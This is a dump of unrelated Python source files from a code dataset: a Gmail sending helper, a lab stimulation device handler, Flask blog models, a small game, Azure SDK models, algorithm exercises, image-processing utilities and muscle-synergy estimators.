\"\"\"\r\n\r\n def __init__(self, emailOrigenBase64, passwordEmailBase64, apodoRemitente, DEBUG = 0):\r\n self.user = self.decoBase64UrlSafe(emailOrigenBase64)\r\n self.password = self.decoBase64UrlSafe(passwordEmailBase64)\r\n self.remitente = self.Remitente(apodoRemitente, self.user)\r\n self.debug = DEBUG\r\n\r\n def setDestinatario(self, apodoDestinatario, destinatario):\r\n self.gmail = smtplib.SMTP_SSL('smtp.gmail.com', 465)\r\n self.gmail.login(self.user, self.password)\r\n if self.debug != 0:\r\n self.gmail.set_debuglevel(1)\r\n self.destinatario = self.Destinatario(apodoDestinatario, destinatario)\r\n\r\n def ConstruirHeader(self):\r\n try:\r\n a = self.header\r\n except:\r\n self.header = MIMEMultipart()\r\n\r\n def __AdjuntarArchivo(self, nombreArchivo):\r\n if os.path.isfile(nombreArchivo):\r\n adjunto = MIMEBase('application', 'octet-stream')\r\n adjunto.set_payload(open(nombreArchivo, 'rb').read())\r\n encode_base64(adjunto)\r\n adjunto.add_header('Content-Disposition',\r\n 'attachment; filename=\"%s\"' %os.path.basename(nombreArchivo)\r\n )\r\n self.ConstruirHeader()\r\n self.header.attach(adjunto)\r\n print(\"Archivo \" + nombreArchivo)\r\n else:\r\n print(\"El archivo no existe\")\r\n\r\n def SendCorreo(self,\r\n asunto = \"\",\r\n mensaje = \" \",\r\n archivoAdjunto = None):\r\n\r\n try:\r\n mensaje = MIMEText(mensaje, 'html')\r\n\r\n self.ConstruirHeader()\r\n\r\n self.header['Subject'] = asunto\r\n self.header['From'] = self.remitente\r\n self.header['To'] = self.destinatario\r\n self.header.attach(mensaje)\r\n\r\n if archivoAdjunto != None:\r\n self.__AdjuntarArchivo(archivoAdjunto)\r\n\r\n self.gmail.sendmail(self.remitente, self.destinatario, self.header.as_string())\r\n self.gmail.quit()\r\n return True\r\n except:\r\n return False\r\n\r\n\r\n\r\n","sub_path":"Libraries/EmailService/LibraryGmail/Gmail.py","file_name":"Gmail.py","file_ext":"py","file_size_in_byte":5328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"378747819","text":"# Nynke Niehof, 2018\n\nimport time\nimport numpy as np\nfrom Experiment.GVS import GVS\nfrom Experiment.loggingConfig import Worker, formatter, default_logging_level\n\n\nclass GVSHandler:\n\n def __init__(self, param_queue, status_queue, logging_queue, buffer_size):\n PHYSICAL_CHANNEL_NAME = \"cDAQ1Mod1/ao0\"\n SAMPLING_FREQ = 1e3\n\n # I/O queues\n self.param_queue = param_queue\n self.status_queue = status_queue\n self.logging_queue = logging_queue\n self.stimulus = None\n\n # set up logger\n worker = Worker(logging_queue, formatter, default_logging_level,\n \"GVSHandler\")\n self.logger = worker.logger\n # second logger to pass to GVS object\n subworker = Worker(logging_queue, formatter, default_logging_level,\n \"GVS\")\n self.sublogger = subworker.logger\n\n # GVS control object\n self.gvs = GVS(logger=self.sublogger)\n self.buffer_size = int(buffer_size)\n timing = {\"rate\": SAMPLING_FREQ, \"samps_per_chan\": self.buffer_size}\n connected = self.gvs.connect(PHYSICAL_CHANNEL_NAME, **timing)\n if connected:\n self.logger.info(\"NIDAQ connection established\")\n self.status_queue.put({\"connected\": True})\n else:\n self.logger.info(\"NIDAQ connection failed\")\n self.status_queue.put({\"connected\": False})\n\n # GVSHandler can't be a subclass of multiprocessing.Process, as the\n # GVS object contains ctypes pointers and can't be pickled.\n # GVSHandler's methods can't be accessed from the parent process.\n # As a workaround, the event loop is started by calling the run method\n # here at the end of the initialisation.\n self.run()\n\n def run(self):\n \"\"\"\n Event loop that listens for queue input. Input of type *dict* is used\n for stimulus creation, input of type *int* is used to trigger onset of\n GVS stimulation. Input \"STOP\" to exit the method.\n This event loop is automatically started after a GVSHandler object\n is initialised.\n \"\"\"\n while True:\n data = self.param_queue.get()\n if isinstance(data, str) and (data == \"STOP\"):\n quit_gvs = self.gvs.quit()\n if quit_gvs:\n self.status_queue.put({\"quit\": True})\n else:\n self.status_queue.put({\"quit\": False})\n break\n\n else:\n if isinstance(data, np.ndarray):\n self.stimulus = data\n if self.stimulus is None:\n self.status_queue.put({\"stim_created\": False})\n else:\n self.status_queue.put({\"stim_created\": True})\n\n elif isinstance(data, bool) and (data is True):\n self._send_stimulus()\n\n else:\n self.logger.error(\"Incorrect input to GVSHandler parameter\"\n \" queue. Input must be a numpy array \"\n \"with samples, a boolean, or a \"\n \"string STOP to quit.\")\n self.status_queue.put({\"stim_created\": False})\n\n def _analog_feedback_loop(self, gvs_wave, start_end_blip_voltage=2.5):\n \"\"\"\n Add a copy of the GVS signal to send to a second channel via the NIDAQ.\n The copy (but not the GVS signal) has a 2.5 V blip of a single sample\n at the start and the end, to signal the onset and end of the\n stimulation. In the signal that is sent to the GVS channel (here:\n channel A0), the first and last sample are zero.\n Also, an extra zero sample is added to the end of both signals,\n to reset the voltage to baseline.\n\n :param gvs_wave: GVS signal\n :param start_end_blip_voltage: voltage to give to first and last\n as a signal. Voltage should not be present in the rest of the waveform.\n :return: stacked signal, with second row being the original GVS signal,\n the first row being the copied signal with first and last sample\n changed to 2.5 V.\n \"\"\"\n duplicate_wave = gvs_wave[:]\n # blip at start and end of copied GVS wave\n duplicate_wave[0] = start_end_blip_voltage\n duplicate_wave[-1] = -start_end_blip_voltage\n\n # add voltage reset (0 sample) at the end\n gvs_wave = np.append(gvs_wave, 0)\n duplicate_wave = np.append(duplicate_wave, 0)\n stimulus = np.stack((duplicate_wave, gvs_wave), axis=0)\n return stimulus\n\n def _send_stimulus(self):\n \"\"\"\n Send the stimulus to the GVS channel, check whether all samples\n were successfully written\n \"\"\"\n n_samples = None\n samps_written = 0\n\n # only try to send if there is a stimulus available\n if self.stimulus is not None:\n try:\n # send the GVS onset time to the main process\n t_start_gvs = time.time()\n self.status_queue.put({\"t_start_gvs\": t_start_gvs})\n samps_written = self.gvs.write_to_channel(self.stimulus,\n reset_to_zero_volts=False)\n if self.stimulus.ndim == 1:\n n_samples = len(self.stimulus)\n else:\n n_samples = np.shape(self.stimulus)[1]\n\n # delete stimulus after sending, so that it can only be sent once\n self.stimulus = None\n except AttributeError as err:\n self.logger.error(\"Error: tried to send invalid stimulus to NIDAQ.\"\n \"\\nNote that a stimulus instance can only be\"\n \" sent once.\\nAttributeError: {}\".format(err))\n self.logger.info(\"GVS: {} samples written\".format(samps_written))\n\n if n_samples == samps_written:\n self.status_queue.put({\"stim_sent\": True})\n else:\n self.status_queue.put({\"stim_sent\": False})\n","sub_path":"Experiment/GVSHandler.py","file_name":"GVSHandler.py","file_ext":"py","file_size_in_byte":6152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"295045309","text":"from blog import db\nfrom datetime import datetime\n\nclass Article(db.Model):\n\n id = db.Column(db.Integer, primary_key = True)\n title = db.Column(db.String(50))\n author = db.Column(db.String(50))\n content = db.Column(db.String)\n created_date = db.Column(db.DateTime, nullable=False,\n default=datetime.utcnow)\n\n def __init__(self, title=None, author=None, content=None):\n self.title = title\n self.author = author\n self.content = content\n\n\n def __repr__(self):\n return '' % Article.title\n\n\nclass Comment(db.Model):\n id = db.Column(db.Integer, primary_key = True, autoincrement=True)\n name = db.Column(db.String(50), nullable=True)\n email = db.Column(db.String(50), nullable=True)\n message = db.Column(db.String)\n article_id = db.Column(db.Integer, db.ForeignKey('article.id'))\n article = db.relationship(\"Article\", backref=db.backref('article', lazy=True))\n comment_date = db.Column(db.DateTime, nullable=False,\n default=datetime.utcnow)\n\n\n def __init__(self, name=None, email=None, message=None, article_id=None):\n self.name = name\n self.email = email\n self.message = message\n self.article_id = article_id\n\n def __repr__(self):\n return '<email %s>' % Comment.email\n\n ","sub_path":"blog/article/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"649090684","text":"'''Entry point for the game'''\nfrom src import config\nconfig.setupLogging()\nfrom src import pygame_control\nfrom src.game_control import GameQuit\nfrom src import event\nfrom src import pygame_input\nfrom src import game\nfrom src import gamescreen\nfrom src import resource\nfrom src.config import settings\nfrom logging import info, debug, error\nimport sys\nimport traceback\nimport pygame\n\ndef main():\n\t'''Start the game'''\n\tinfo('Starting '+ settings.get('Project', 'name') + '...')\n\tpygame_control.pygame_init()\n\n\tsize = settings.getint('Graphics', 'width'), settings.getint('Graphics', 'height')\n\tscreen = pygame.display.set_mode(size)\n\n\tclock = pygame_control.Clock() # Clock events drive everything\n\tevents = pygame_control.PygameEvent(clock) # Poll pygame event queue\n\n\t# create models\n\tfactory = game.DuckFactory()\n\n\t# create controllers\n\tmousekey_controller = pygame_input.MouseKeyController(events)\n\n\t# create views\n\tlogger = LogView(factory)\n\tview = gamescreen.ScreenStack()\n\tgame_screen = gamescreen.DuckFactoryScreen(screen, factory)\n\tstart_screen = gamescreen.StartScreen(screen, view, game_screen)\n\tview.show(start_screen)\n\n\t# connect components via events\n\tclock.subscribe(logger.update)\n\tclock.subscribe(factory.update)\n\tclock.subscribe(view.draw)\n\tmousekey_controller.mouse_button.subscribe(view.on_click)\n\tmousekey_controller.keypress.subscribe(view.on_keypress)\n\n\t# run game\n\ttry:\n\t\twhile True:\n\t\t\tclock.run()\n\texcept GameQuit:\n\t\tinfo('Goodbye')\n\texcept Exception:\n\t\terror('Something broke! Please include the following in your bug report:')\n\t\terror(traceback.format_exc())\n\nclass LogView(object):\n\t'''Monitor clock tick events and log out debug info'''\n\tdef __init__(self, factory, log_period = 3000):\n\t\tself.timer = 0\n\t\tself.factory = factory\n\t\tself.log_period = log_period\n\n\tdef update(self, dt):\n\t\t'''Periodically log the game state'''\n\t\tif self.timer <= 0:\n\t\t\tself.log()\n\t\t\tself.timer = self.log_period\n\t\telse:\n\t\t\tself.timer -= dt\n\n\tdef log(self):\n\t\t'''Log the game state'''\n\t\tf = self.factory\n\t\tdebug('===DUCK FACTORY===')\n\t\tdebug('Money: %f' % f.money)\n\t\tdebug('Time to payday: %d ms' % f.time_to_payday)\n\t\tdebug('Employees: %d' % len(f.employees))\n\t\tfor e in f.employees:\n\t\t\tdebug('Employee %s:' % id(e))\n\t\t\tdebug(' Productivity: %d' % e.productivity)\n\t\t\tdebug(' Salary: %d' % e.salary)\n\t\tdebug('==================')\n","sub_path":"samples/ducks/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"570686116","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is\n# regenerated.\n# --------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass StepOperationInfo(Model):\n \"\"\"Detailed information of a specific step run.\n\n Variables are only populated by the server, and will be ignored when\n sending a request.\n\n :ivar deployment_name: The name of the ARM deployment initiated as part of\n the step.\n :vartype deployment_name: str\n :ivar correlation_id: Unique identifier to track the request for ARM-based\n resources.\n :vartype correlation_id: str\n :ivar start_time: Start time of the action in UTC.\n :vartype start_time: datetime\n :ivar end_time: End time of the action in UTC.\n :vartype end_time: datetime\n :ivar last_updated_time: Last time in UTC this operation was updated.\n :vartype last_updated_time: datetime\n :param error: The errors, if any, for the action.\n :type error: ~azure.mgmt.deploymentmanager.models.CloudErrorBody\n \"\"\"\n\n _validation = {\n 'deployment_name': {'readonly': True},\n 'correlation_id': {'readonly': True},\n 'start_time': {'readonly': True},\n 'end_time': {'readonly': True},\n 'last_updated_time': {'readonly': True},\n }\n\n _attribute_map = {\n 'deployment_name': {'key': 'deploymentName', 'type': 'str'},\n 'correlation_id': {'key': 'correlationId', 'type': 'str'},\n 'start_time': {'key': 'startTime', 'type': 'iso-8601'},\n 'end_time': {'key': 'endTime', 'type': 'iso-8601'},\n 'last_updated_time': {'key': 'lastUpdatedTime', 'type': 'iso-8601'},\n 'error': {'key': 'error', 'type': 'CloudErrorBody'},\n }\n\n def __init__(self, *, error=None, **kwargs) -> None:\n super(StepOperationInfo, self).__init__(**kwargs)\n self.deployment_name = None\n self.correlation_id = None\n self.start_time = None\n self.end_time = None\n self.last_updated_time = None\n self.error = error\n","sub_path":"azure-mgmt-deploymentmanager/azure/mgmt/deploymentmanager/models/step_operation_info_py3.py","file_name":"step_operation_info_py3.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"114157190","text":"# import math\n# import sys\n#\n# line = [int(x) for x in input().split()]\n# # print('First line: ', line)\n#\n# calcMatchbox = math.sqrt((line[1] * line[1]) + (line[2] * line[2]))\n# # print('Matchbox: ', calcMatchbox)\n#\n# lines = sys.stdin.readlines()\n# for value in lines:\n# if int(value) <= int(calcMatchbox):\n# print('DA')\n# else:\n# print('NE')\n\nimport math\n\nn, w, h = [int(q) for q in input().split()]\nhyp = math.sqrt(w*w + h*h)\n\nfor _ in range(n):\n if int(input()) <= hyp:\n print('DA')\n else:\n print('NE')\n","sub_path":"sibice/sibice.py","file_name":"sibice.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"214663823","text":"class UnionFind:\n def __init__(self, n):\n self.father = {}\n for i in range(n):\n self.father[i] = i \n\n def find(self, x):\n if self.father[x] == x:\n return x\n self.father[x] = self.find(self.father[x])\n return self.father[x]\n \n def connect(self, a, b):\n root_a = self.find(a)\n root_b = self.find(b)\n if root_a != root_b:\n self.father[root_a] = root_b\n\n def canConnect(self, a, b):\n root_a = self.find(a)\n root_b = self.find(b)\n \n return False if root_a == root_b else True\n \nclass Solution:\n \"\"\"\n @param n: An integer\n @param edges: a list of undirected edges\n @return: true if it's a valid tree, or false\n \"\"\"\n\n def validTree(self, n, edges):\n # write your code here\n if n > 1 and len(edges) == 0:\n return False\n \n if n == 1 and len(edges) == 0:\n return True\n \n if n > len(edges) + 1:\n return False\n\n uf = UnionFind(n)\n for pair in edges:\n if uf.canConnect(pair[0], pair[1]):\n uf.connect(pair[0], pair[1])\n else:\n return False\n return True\n\n","sub_path":"178 graph valid tree.py","file_name":"178 graph valid tree.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"94394298","text":"import Picklable\nimport random\nimport copy\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\nimport os\nimport string\nimport hashlib\nimport math\n\nfrom PIL import Image\n\n# It takes up a lot of disk space and doesn't improve performance that much.\n# It would allow me to show the product of every step of the transformation, though.\ncachingEnabled = False\n\nTWOPI = math.pi * 2\n\n\nclass _Transformer(Picklable.Picklable):\n \n is_non_transformer = 0\n is_reserved_transformer = 0\n width = -1\n depth = -1\n \n def __init__(self):\n Picklable.Picklable.__init__(self)\n self.inputs = []\n self.args = {}\n self.dims = (800, 600) # Hardcoding this for now.\n self.resetCache()\n \n def __str__(self):\n return self.__class__.__name__ + self.getArgsString()\n \n def getArgsString(self):\n return \"()\"\n \n def getLoggerName(self):\n return \"Transformer\"\n\n def setDebug(self, debug):\n self.debug = debug\n \n def resetCache(self):\n self.genome = None\n self.digest = \"\"\n self.width = -1\n self.depth = -1\n\n \n def getGenome(self):\n if not self.genome:\n self.genome = {\"class\" : str(self.__class__),\n \"args\" : self.args,\n \"inputs\" : self.getInputGenomes()}\n return self.genome\n \n def getInputGenomes(self):\n gg = []\n for input in self.inputs:\n gg.append(input.getGenome())\n return gg\n \n \n def getDigest(self):\n if not self.digest:\n h = hashlib.sha1()\n h.update(self.getDigestInput())\n self.digest = h.hexdigest()\n return self.digest\n \n def getDigestInput(self):\n return str(self.getGenome())\n \n \n def getWidth(self):\n if (self.width < 0):\n self.width = 0\n for input in self.inputs:\n self.width = self.width + input.getWidth()\n return self.width\n \n def getDepth(self):\n if (self.depth < 0):\n idepth = 0\n for input in self.inputs:\n idepth = max(idepth, input.getDepth())\n self.depth = idepth + 1\n return self.depth\n \n \n def getSources(self):\n sources = []\n for input in self.inputs:\n sources.extend(input.getSources())\n return sources\n \n def getTransformers(self):\n xforms = [self]\n for input in self.inputs:\n xforms.extend(input.getTransformers())\n return xforms\n \n\n def toString(self, i=0):\n l = []\n l.append(\" \" * i + \"%d: %s (%s)\" % (i, self, self.getDigest()))\n for input in self.inputs:\n l.append(input.toString(i+1))\n return string.join(l, \"\\n\")\n \n\n #########################################################################\n # Call transform on the inputs, perform a transformation on the result, return an Image.\n def transform(self, experiment):\n # Do we have this image cached?\n img = self.getCachedImage(experiment)\n if not img:\n imgs = self.transformInputs(experiment)\n self.logger.debug(\"%s...\" % (self))\n img = self.transformInner(imgs)\n self.cacheImage(experiment, img)\n self.saveThumbnail(experiment, img)\n return img\n \n def transformInputs(self, experiment):\n imgs = []\n for input in self.inputs:\n imgs.append(input.transform(experiment))\n return imgs\n\n def transformInner(self, imgs):\n raise NotImplementedError\n \n\n def getCachePath(self, experiment):\n return os.path.join(experiment.getCreaturesDir(), \"%s.jpg\" % (self.getDigest()))\n \n def getThumbPath(self, experiment):\n return os.path.join(experiment.getCreaturesDir(), self.getThumbName())\n \n def getThumbName(self):\n return \"%s.t.jpg\" % (self.getDigest())\n\n \n def getCachedImage(self, experiment):\n if not cachingEnabled:\n return None\n fpath = self.getCachePath(experiment)\n if os.path.exists(fpath):\n self.logger.debug(\"Cache hit on %s (%s).\" % (self, self.getDigest()))\n return Image.open(fpath)\n else:\n self.logger.debug(\"Cache miss on %s (%s).\" % (self, self.getDigest()))\n return None\n \n def cacheImage(self, experiment, img):\n if cachingEnabled:\n fpath = self.getCachePath(experiment)\n img.save(fpath)\n \n \n def saveThumbnail(self, experiment, img):\n fname = self.getThumbPath(experiment)\n if os.path.exists(fname):\n self.logger.debug(\"Thumbnail for %s (%s) already exists.\" % (self, self.getDigest()))\n else:\n self.logger.debug(\"Saving thumbnail for %s (%s)...\" % (self, self.getDigest()))\n experiment.tn.makeThumb(img, fname)\n \n \n #########################################################################\n def getExamples(self, inputs):\n \n # Set all the inputs we need.\n # All of the inputs should be NonTransformers at this point.\n for j in range(self.getExpectedInputCount()):\n self.addInput(inputs[j])\n \n # Get the images from our inputs.\n imgs = []\n for input in self.inputs:\n imgs.append(input.getImage())\n\n return self.getExamplesInner(imgs)\n \n\n def getExamplesInner(self, imgs):\n raise NotImplementedError\n \n def getExampleImage(self, imgs):\n img = self.transformInner(imgs)\n # Now put a label on it.\n draw = ImageDraw.Draw(img)\n font = ImageFont.load(os.path.join(\"fonts\", \"courB12.pil\"))\n text = str(self)\n (w,h) = draw.textsize(text, font)\n draw.rectangle((0,0,w+10,h+10), (255,255,255))\n draw.text((5, 5), text, font=font, fill=(0,0,0))\n return img\n \n \n #########################################################################\n def clone(self):\n new = self.__class__()\n for input in self.inputs:\n new.inputs.append(input.clone())\n new.args = copy.deepcopy(self.args)\n return new\n\n \n # Tweak the parameters of this and all inputs.\n def tweak(self, tweak_rate):\n self.tweakInputs(tweak_rate)\n if (random.random() <= tweak_rate):\n old = str(self)\n self.tweakInner()\n new = str(self)\n self.logger.debug(\"%s -> %s\" % (old, new))\n else:\n self.logger.debug(\"%s did not tweak.\" % (self))\n self.resetCache()\n \n def tweakInputs(self, tweak_rate):\n for input in self.inputs:\n input.tweak(tweak_rate)\n\n def tweakInner(self):\n raise NotImplementedError\n\n \n #########################################################################\n # Get the number of expected inputs to this transformer.\n def getExpectedInputCount(self):\n raise NotImplementedError\n\n def getInputCount(self):\n return len(self.inputs)\n \n def getInputs(self):\n return copy.copy(self.inputs)\n \n def setInputs(self, xforms):\n self.inputs = []\n for xform in xforms:\n self.addInput(xform)\n \n def addInput(self, xform):\n self.inputs.append(xform)\n self.resetCache()\n \n def getDims(self):\n if not self.dims:\n # We assume all images are the same size for now.\n self.dims = self.inputs[0].getDims()\n return self.dims\n\n \n #########################################################################\n def getPairs(self, prev=None):\n l = []\n l.append((prev, self))\n for input in self.inputs:\n l.extend(input.getPairs(self))\n return l\n \n \n #########################################################################\n # Common, useful utilties.\n def getRandomColor(self):\n l = []\n for i in range(3):\n l.append(\"%02x\" % (random.randint(0, 255)))\n return string.upper(\"#%s\" % (\"\".join(l)))\n\n\n def swapInputs(self, i, j):\n x = self.inputs[i]\n self.inputs[i] = self.inputs[j]\n self.inputs[j] = x\n\n\n def boxToSize(self, box):\n return (box[2] - box[0], box[3] - box[1])\n\n\n def getRandomBox(self):\n dims = self.getDims()\n box = [0] * 4\n box[0] = random.randint(0, dims[0])\n box[1] = random.randint(0, dims[1])\n box[2] = random.randint(box[0], dims[0])\n box[3] = random.randint(box[1], dims[1])\n return box\n \n def tweakBox(self, box, max_tweak):\n dims = self.getDims()\n max_changes = map(int, map(round, [dims[0] * self.max_tweak, dims[1] * self.max_tweak]))\n box[0] = self.newBoundary(box[0], max_changes[0], 0, dims[0])\n box[1] = self.newBoundary(box[1], max_changes[1], 0, dims[1])\n box[2] = self.newBoundary(box[2], max_changes[0], box[0], dims[0])\n box[3] = self.newBoundary(box[3], max_changes[1], box[1], dims[1])\n return box\n \n \n def getRandomQuad(self, constrain=False):\n dims = self.getDims()\n box = [0] * 8\n if constrain:\n box[0] = random.randint(0, dims[0]/2)\n box[1] = random.randint(0, dims[1]/2)\n box[2] = random.randint(0, dims[0]/2)\n box[3] = random.randint(dims[1]/2, dims[1])\n box[4] = random.randint(dims[0]/2, dims[0])\n box[5] = random.randint(dims[1]/2, dims[1])\n box[6] = random.randint(dims[0]/2, dims[0])\n box[7] = random.randint(0, dims[1]/2)\n else:\n box[0] = random.randint(0, dims[0])\n box[1] = random.randint(0, dims[1])\n box[2] = random.randint(0, dims[0])\n box[3] = random.randint(0, dims[1])\n box[4] = random.randint(0, dims[0])\n box[5] = random.randint(0, dims[1])\n box[6] = random.randint(0, dims[0])\n box[7] = random.randint(0, dims[1])\n return box\n \n def tweakQuad(self, quad, max_tweak):\n dims = self.getDims()\n max_changes = map(int, map(round, [dims[0] * self.max_tweak, dims[1] * self.max_tweak]))\n quad[0] = self.newBoundary(quad[0], max_changes[0], 0, dims[0])\n quad[1] = self.newBoundary(quad[1], max_changes[1], 0, dims[1])\n quad[2] = self.newBoundary(quad[2], max_changes[0], 0, dims[0])\n quad[3] = self.newBoundary(quad[3], max_changes[1], 0, dims[1])\n quad[4] = self.newBoundary(quad[4], max_changes[0], 0, dims[0])\n quad[5] = self.newBoundary(quad[5], max_changes[1], 0, dims[1])\n quad[6] = self.newBoundary(quad[6], max_changes[0], 0, dims[0])\n quad[7] = self.newBoundary(quad[7], max_changes[1], 0, dims[1])\n return quad\n \n \n def newBoundary(self, boundary, max_change, min_boundary, max_boundary):\n min_boundary = max(boundary - max_change, min_boundary)\n max_boundary = min(boundary + max_change, max_boundary)\n return int(round(random.uniform(min_boundary, max_boundary)))\n \n \n def translateBox(self, box):\n dims = self.getDims()\n size = self.boxToSize(box)\n x = random.randint(0, dims[0] - size[0])\n y = random.randint(0, dims[1] - size[1])\n return (x, y, x + size[0], y + size[1])\n \n \n# A transformer that takes a single transformer as input.\nclass _MonoTransformer(_Transformer):\n \n def getExpectedInputCount(self):\n return 1\n \n def transformInner(self, imgs):\n return self.transformImage(imgs[0])\n\n def transformImage(self, img):\n raise NotImplementedError\n \n \n","sub_path":"xforms/_xformer.py","file_name":"_xformer.py","file_ext":"py","file_size_in_byte":11807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"503099290","text":"##### Input #####\n# h x w x 3 images (int [0, 255])\n\n##### Output #####\n# 128 x 128 grayScale images (float [0, 1])\n# \n# Split the Dataset into -\n# \tTrain set\t- 22046\n#\tEval set\t- 2756\n#\tTest set\t- 2756\n\nimport os\nimport cv2\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\nuninfDir = './dataset/Uninfected/'\nparDir = './dataset/Parasitized/'\nclassDirs = [uninfDir, parDir]\n\ntrainDir = './dataset/Train/'\nevalDir = './dataset/Eval/'\ntestDir = './dataset/Test/'\nsplitDirs = [trainDir, evalDir, testDir]\nsplitSize = [0, 22046, 24802, 27588]\n\nuninfImgs = os.listdir(uninfDir)\nparImgs = os.listdir(parDir)\nclassImgs = [uninfImgs, parImgs]\n\ncells = []\nlabels = []\n\nresizeDim = (128, 128)\n\nfor l in range(len(classImgs)):\n\tfor imgName in classImgs[l]:\n\t\timg = cv2.imread(classDirs[l] + imgName)\n\t\tgrayImg = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\t\tfloatImg = grayImg.astype(np.float32)/255.0\n\t\tresizeImg = cv2.resize(floatImg, resizeDim)\n\t\tcells.append(smoothImg)\n\t\tlabels.append(l)\n\ncells = np.array(cells)\nlabels = np.array(labels)\n\ntrain_x, x, train_y, y = train_test_split(cells, labels, test_size = 0.2, random_state = 100)\n\neval_x, test_x, eval_y, test_y = train_test_split(x, y, test_size = 0.5, random_state = 100)\n\nnp.save(trainDir + 'cells.npy', train_x)\nnp.save(testDir + 'cells.npy', test_x)\nnp.save(evalDir + 'cells.npy', eval_x)\nnp.save(trainDir + 'labels.npy', train_y)\nnp.save(testDir + 'labels.npy', test_y)\nnp.save(evalDir + 'labels.npy', eval_y)","sub_path":"Contour Detection/Data Preprocessing/Preprocess-Contour-Detection.py","file_name":"Preprocess-Contour-Detection.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"393773271","text":"\"\"\"\n Wrappers for dehaloing functions.\n\"\"\"\nfrom typing import Any, Dict, Optional\n\nimport vapoursynth as vs\nfrom vsutil import depth, fallback\n\nfrom . import denoise\n\ncore = vs.core\n\n\ndef bidehalo(clip: vs.VideoNode, ref: Optional[vs.VideoNode] = None,\n sigmaS: float = 1.5, sigmaR: float = 5/255,\n sigmaS_final: Optional[float] = None, sigmaR_final: Optional[float] = None,\n bilateral_args: Dict[str, Any] = {},\n bm3d_args: Dict[str, Any] = {},\n ) -> vs.VideoNode:\n \"\"\"\n A simple dehaloing function using bilateral and BM3D to remove bright haloing around edges.\n If a ref clip is passed, that will be masked onto the clip instead of a blurred clip.\n\n :param clip: Source clip\n :param ref: Ref clip\n :param sigmaS: Bilateral's spatial weight sigma\n :param sigmaR: Bilateral's range weight sigma\n :param sigmaS_final: Final bilateral call's spatial weight sigma.\n You'll want this to be much weaker than the initial `sigmaS`.\n If `None`, 1/3rd of `sigmaS`.\n :param sigmaR_final: Bilateral's range weight sigma.\n if `None`, same as `sigmaR`\n :param bilateral_args: Additional parameters to pass to bilateral\n :param bm3d_args: Additional parameters to pass to :py:class:`lvsfunc.denoise.bm3d`\n\n :return: Dehalo'd clip\n \"\"\"\n bm3ddh_args: Dict[str, Any] = dict(sigma=8, radius=1, pre=clip)\n bm3ddh_args.update(bm3d_args)\n\n if clip.format is None:\n raise ValueError(\"bidehalo: 'Variable-format clips not supported'\")\n\n sigmaS_final = fallback(sigmaS_final, sigmaS / 3)\n sigmaR_final = fallback(sigmaR_final, sigmaR)\n\n if ref is None:\n den = depth(denoise.bm3d(clip, **bm3ddh_args), 16)\n\n ref = den.bilateral.Bilateral(sigmaS=sigmaS, sigmaR=sigmaR, **bilateral_args)\n bidh = den.bilateral.Bilateral(ref=ref, sigmaS=sigmaS_final, sigmaR=sigmaR_final, **bilateral_args)\n bidh = depth(bidh, clip.format.bits_per_sample)\n else:\n bidh = depth(ref, clip.format.bits_per_sample)\n\n restore_dark = core.std.Expr([clip, bidh], \"x y < x y ?\")\n return restore_dark\n","sub_path":"lvsfunc/dehalo.py","file_name":"dehalo.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"246099834","text":"#Object-based implementation of time-dependent and synchronous synergies\n\nimport substeps\nimport util\nimport numpy as np\nimport matplotlib\nimport matplotlib.animation as animate\nimport matplotlib.pyplot as plt\nimport plotting_utls as pltuls\nimport time\nimport sys\nimport scipy.linalg\nimport scipy.optimize\n\n\nclass SynchronousSynergyEstimator(object):\n def __init__(self,D,T,N,M,error_threshold=5e-4):\n self.D = D\n self.T = T\n self.N = N\n self.M = M #M is D x T\n self.SS_tot = np.sum(np.square(M-np.mean(M)))\n self.error_threshold = error_threshold\n\n self.check_shapes()\n\n self.C_est = np.random.uniform(0,1,(N,T))\n self.W_est = np.random.uniform(0,1,(D,N))\n self.M_est = np.dot(self.W_est,self.C_est)\n\n def check_shapes(self):\n if np.shape(self.M) != (self.D,self.T):\n raise Exception('M is not DxT, it is shape '+str(np.shape(self.M)))\n\n def compute_error_by_trace(self):\n diff = self.M-(self.W_est).dot(self.C_est)\n return np.trace(np.dot(diff.T,diff))\n\n def compute_oneminusrsq(self):\n SS_res = self.compute_error_by_trace()\n return SS_res/self.SS_tot\n\n def update_C(self):\n num = np.dot(self.W_est.T,self.M)\n denom = (self.W_est.T).dot(self.W_est).dot(self.C_est)\n self.C_est = self.C_est*(num/denom)\n\n def update_W(self):\n mult_factor = np.dot(self.M,self.C_est.T)/(\n self.W_est.dot(self.C_est).dot(self.C_est.T))\n self.W_est = self.W_est*mult_factor\n\nclass TimeDependentSynergyEstimator(object):\n\n def __init__(self,S,D,T,N,M,error_threshold=1e-5):\n self.D = D\n self.T = T\n self.N = N\n self.S = S\n self.M_stacked = M #M is S x D x T\n self.M_spread = util.spread(M)\n self.SS_tot = self.compute_total_sum_squares()\n self.error_threshold = error_threshold\n 